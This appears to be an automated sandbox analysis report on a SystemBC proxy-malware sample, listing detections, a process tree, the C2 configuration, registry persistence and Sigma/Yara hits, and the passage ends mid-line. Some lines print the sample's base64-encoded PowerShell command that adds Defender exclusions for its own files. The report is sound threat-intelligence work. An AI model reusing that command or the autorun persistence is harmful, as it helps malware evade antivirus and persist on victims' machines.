Edit tour

Windows Analysis Report
Opdxdyeul.exe

Overview

General Information

Sample name:	Opdxdyeul.exe
Analysis ID:	1577312
MD5:	cee58644e824d57927fe73be837b1418
SHA1:	698d1a11ab58852be004fd4668a6f25371621976
SHA256:	4235c78ffaf12c4e584666da54cfc5dc56412235f5a2d313dcac07d1314dd52e
Tags:	18521511316185215113209bulletproofexeuser-abus3reports
Infos:

Detection

SystemBC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Antivirus detection for dropped file

Found malware configuration

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Yara detected AntiVM3

Yara detected SystemBC

.NET source code contains method to dynamically call methods (often used by packers)

.NET source code contains potential unpacker

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Encrypted powershell cmdline option found

Injects a PE file into a foreign processes

Loading BitLocker PowerShell Module

Machine Learning detection for dropped file

Machine Learning detection for sample

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Yara detected Costura Assembly Loader

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Suspicious Execution of Powershell with Base64

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

Opdxdyeul.exe (PID: 6488 cmdline: "C:\Users\user\Desktop\Opdxdyeul.exe" MD5: CEE58644E824D57927FE73BE837B1418)

powershell.exe (PID: 3416 cmdline: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABPAHAAZAB4AGQAeQBlAHUAbAAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwARABlAHMAawB0AG8AcABcAE8AcABkAHgAZAB5AGUAdQBsAC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABZAGoAbAB3AHUAdQB5AHMALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAWQBqAGwAdwB1AHUAeQBzAC4AZQB4AGUA MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)

conhost.exe (PID: 1948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

WmiPrvSE.exe (PID: 2276 cmdline: C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding MD5: 60FF40CFD7FB8FE41EE4FE9AE5FE1C51)

Opdxdyeul.exe (PID: 5280 cmdline: "C:\Users\user\Desktop\Opdxdyeul.exe" MD5: CEE58644E824D57927FE73BE837B1418)

qxdc.exe (PID: 3392 cmdline: C:\ProgramData\colsv\qxdc.exe MD5: CEE58644E824D57927FE73BE837B1418)

qxdc.exe (PID: 4184 cmdline: "C:\ProgramData\colsv\qxdc.exe" MD5: CEE58644E824D57927FE73BE837B1418)

Yjlwuuys.exe (PID: 4896 cmdline: "C:\Users\user\AppData\Roaming\Yjlwuuys.exe" MD5: CEE58644E824D57927FE73BE837B1418)

Yjlwuuys.exe (PID: 4948 cmdline: "C:\Users\user\AppData\Roaming\Yjlwuuys.exe" MD5: CEE58644E824D57927FE73BE837B1418)

svchost.exe (PID: 6488 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

Yjlwuuys.exe (PID: 2168 cmdline: "C:\Users\user\AppData\Roaming\Yjlwuuys.exe" MD5: CEE58644E824D57927FE73BE837B1418)

Yjlwuuys.exe (PID: 3560 cmdline: "C:\Users\user\AppData\Roaming\Yjlwuuys.exe" MD5: CEE58644E824D57927FE73BE837B1418)

qxdc.exe (PID: 6664 cmdline: C:\ProgramData\colsv\qxdc.exe MD5: CEE58644E824D57927FE73BE837B1418)

qxdc.exe (PID: 3360 cmdline: "C:\ProgramData\colsv\qxdc.exe" MD5: CEE58644E824D57927FE73BE837B1418)

qxdc.exe (PID: 6684 cmdline: C:\ProgramData\colsv\qxdc.exe MD5: CEE58644E824D57927FE73BE837B1418)

qxdc.exe (PID: 2524 cmdline: "C:\ProgramData\colsv\qxdc.exe" MD5: CEE58644E824D57927FE73BE837B1418)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
SystemBC	SystemBC is a proxy malware leveraging SOCKS5. Based on screenshots used in ads on a underground marketplace, Proofpoint decided to call it SystemBC.SystemBC has been observed occasionally, but more pronounced since June 2019. First samples goes back to October 2018.	No Attribution	https://asec.ahnlab.com/en/33600/ https://blog.reversinglabs.com/blog/code-reuse-across-packers-and-dll-loaders https://blog.talosintelligence.com/2022/08/modernloader-delivers-multiple-stealers.html https://blogs.vmware.com/security/2023/06/8base-ransomware-a-heavy-hitting-player.html https://cloud.google.com/blog/topics/threat-intelligence/unc4393-goes-gently-into-silentnight	https://malpedia.caad.fkie.fraunhofer.de/details/win.systembc

Malware Configuration

Threatname: SystemBC

{"HOST1": "claywyaeropumps.com", "HOST2": "178.132.2.10", "DNS1": "5.132.191.104", "DNS2": "ns1.vic.au.dns.opennic.glue", "DNS3": "ns2.vic.au.dns.opennic.glue"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000012.00000002.2655007606.0000000002DE8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000015.00000002.2818927936.0000000002CE4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000015.00000002.2818927936.0000000002CD8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000000.00000002.2382259105.00000000057C0000.00000004.08000000.00040000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0000000E.00000002.2571975141.0000000002DC6000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000018.00000002.3414550975.0000000002ED9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000011.00000002.2470099551.00000000003C5000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000018.00000002.3414550975.0000000002EE4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000008.00000002.2480913690.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2338555032.000000000332E000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
0000000E.00000002.2571975141.0000000002A01000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000000.00000002.2338555032.0000000003322000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
0000000E.00000002.2571975141.0000000002DD2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000012.00000002.2655007606.0000000002B38000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000008.00000002.2480913690.00000000033C2000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000000.00000002.2338555032.0000000002F51000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000015.00000002.2818927936.00000000029F8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000018.00000002.3414550975.0000000002BE8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
00000012.00000002.2655007606.0000000002DF4000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000008.00000002.2480913690.00000000033B7000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
00000000.00000002.2369811450.00000000045DC000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Opdxdyeul.exe PID: 6488	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Opdxdyeul.exe PID: 6488	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Opdxdyeul.exe PID: 6488	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
Process Memory Space: qxdc.exe PID: 3392	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: qxdc.exe PID: 3392	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: qxdc.exe PID: 3392	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
Process Memory Space: Yjlwuuys.exe PID: 4896	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Yjlwuuys.exe PID: 4896	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Yjlwuuys.exe PID: 4896	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
Process Memory Space: qxdc.exe PID: 4184	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
Process Memory Space: Yjlwuuys.exe PID: 2168	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: Yjlwuuys.exe PID: 2168	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: Yjlwuuys.exe PID: 2168	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
Process Memory Space: qxdc.exe PID: 6664	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: qxdc.exe PID: 6664	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: qxdc.exe PID: 6664	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
Process Memory Space: qxdc.exe PID: 6684	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Process Memory Space: qxdc.exe PID: 6684	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: qxdc.exe PID: 6684	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
Click to see the 35 entries

Unpacked PEs

Source	Rule	Description	Author
24.2.qxdc.exe.2edcc8c.2.raw.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
24.2.qxdc.exe.2ee6e64.0.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
18.2.Yjlwuuys.exe.2debffc.1.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
18.2.Yjlwuuys.exe.2df61d4.2.raw.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
0.2.Opdxdyeul.exe.57c0000.13.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
0.2.Opdxdyeul.exe.33302f0.0.raw.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
14.2.Yjlwuuys.exe.2dca3dc.0.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
0.2.Opdxdyeul.exe.3326118.2.raw.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
14.2.Yjlwuuys.exe.2dca3dc.0.raw.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
0.2.Opdxdyeul.exe.4782d30.10.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
21.2.qxdc.exe.2cdc314.2.raw.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
18.2.Yjlwuuys.exe.2debffc.1.raw.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
8.2.qxdc.exe.33c5054.1.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
0.2.Opdxdyeul.exe.33302f0.0.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
21.2.qxdc.exe.2ce64ec.0.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
14.2.Yjlwuuys.exe.2dd45b4.1.raw.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
21.2.qxdc.exe.2cdc314.2.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
18.2.Yjlwuuys.exe.2df61d4.2.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
24.2.qxdc.exe.2edcc8c.2.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
8.2.qxdc.exe.33bae7c.0.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
8.2.qxdc.exe.33c5054.1.raw.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
24.2.qxdc.exe.2ee6e64.0.raw.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
21.2.qxdc.exe.2ce64ec.0.raw.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
8.2.qxdc.exe.33bae7c.0.raw.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
14.2.Yjlwuuys.exe.2dd45b4.1.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
0.2.Opdxdyeul.exe.3326118.2.unpack	JoeSecurity_SystemBC	Yara detected SystemBC	Joe Security
0.2.Opdxdyeul.exe.45dc110.5.raw.unpack	JoeSecurity_CosturaAssemblyLoader	Yara detected Costura Assembly Loader	Joe Security
Click to see the 22 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABPAHAAZAB4AGQAeQBlAHUAbAAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwARABlAHMAawB0AG8AcABcAE8AcABkAHgAZAB5AGUAdQBsAC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABZAGoAbAB3AHUAdQB5AHMALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAWQBqAGwAdwB1AHUAeQBzAC4AZQB4AGUA, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABPAHAAZAB4AGQAeQBlAHUAbAAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwARABlAHMAawB0AG8AcABcAE8AcABkAHgAZAB5AGUAdQBsAC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABZAGoAbAB3AHUAdQB5AHMALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAWQBqAGwAdwB1AHUAeQBzAC4AZQB4AGUA, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Opdxdyeul.exe", ParentImage: C:\Users\user\Desktop\Opdxdyeul.exe, ParentProcessId: 6488, ParentProcessName: Opdxdyeul.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABPAHAAZAB4AGQAeQBlAHUAbAAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwARABlAHMAawB0AG8AcABcAE8AcABkAHgAZAB5AGUAdQBsAC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABZAGoAbAB3AHUAdQB5AHMALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQ

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Roaming\Yjlwuuys.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\Desktop\Opdxdyeul.exe, ProcessId: 6488, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Yjlwuuys

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABPAHAAZAB4AGQAeQBlAHUAbAAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwARABlAHMAawB0AG8AcABcAE8AcABkAHgAZAB5AGUAdQBsAC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABZAGoAbAB3AHUAdQB5AHMALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAWQBqAGwAdwB1AHUAeQBzAC4AZQB4AGUA, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABPAHAAZAB4AGQAeQBlAHUAbAAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwARABlAHMAawB0AG8AcABcAE8AcABkAHgAZAB5AGUAdQBsAC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABZAGoAbAB3AHUAdQB5AHMALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAWQBqAGwAdwB1AHUAeQBzAC4AZQB4AGUA, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\Opdxdyeul.exe", ParentImage: C:\Users\user\Desktop\Opdxdyeul.exe, ParentProcessId: 6488, ParentProcessName: Opdxdyeul.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABPAHAAZAB4AGQAeQBlAHUAbAAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwARABlAHMAawB0AG8AcABcAE8AcABkAHgAZAB5AGUAdQBsAC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABZAGoAbAB3AHUAdQB5AHMALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQ

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEQAZQBzAGsAdABvAHAAXABPAHAAZAB4AGQAeQBlAHUAbAAuAGUAeABlADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAHIAbwBjAGUAcwBzACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwARABlAHMAawB0AG8AcABcAE8AcABkAHgAZAB5AGUAdQBsAC4AZQB4AGUAOwBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQwA6AFwAVQBzAGUAcgBzAFwAZQBuAGcAaQBuAGUAZQByAFwAQQBwAHAARABhAHQAYQBcAFIAbwBhAG0AaQBuAGcAXABZAGoAbAB3AHUAdQB5AHMALgBlAHgAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUAByAG8AYwBlAHMAcwAgAEMAOgBcAFUAcwBlAHIAcwBcAGUAbgBnAGkAbgBlAGUAcgBcAEEAcABwAEQAYQB0AGEAXABSAG8AYQBtAGkAbgBnAFwAWQBqAGwAdwB1AHUAeQBzAC4AZQB4AGUA, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -enc 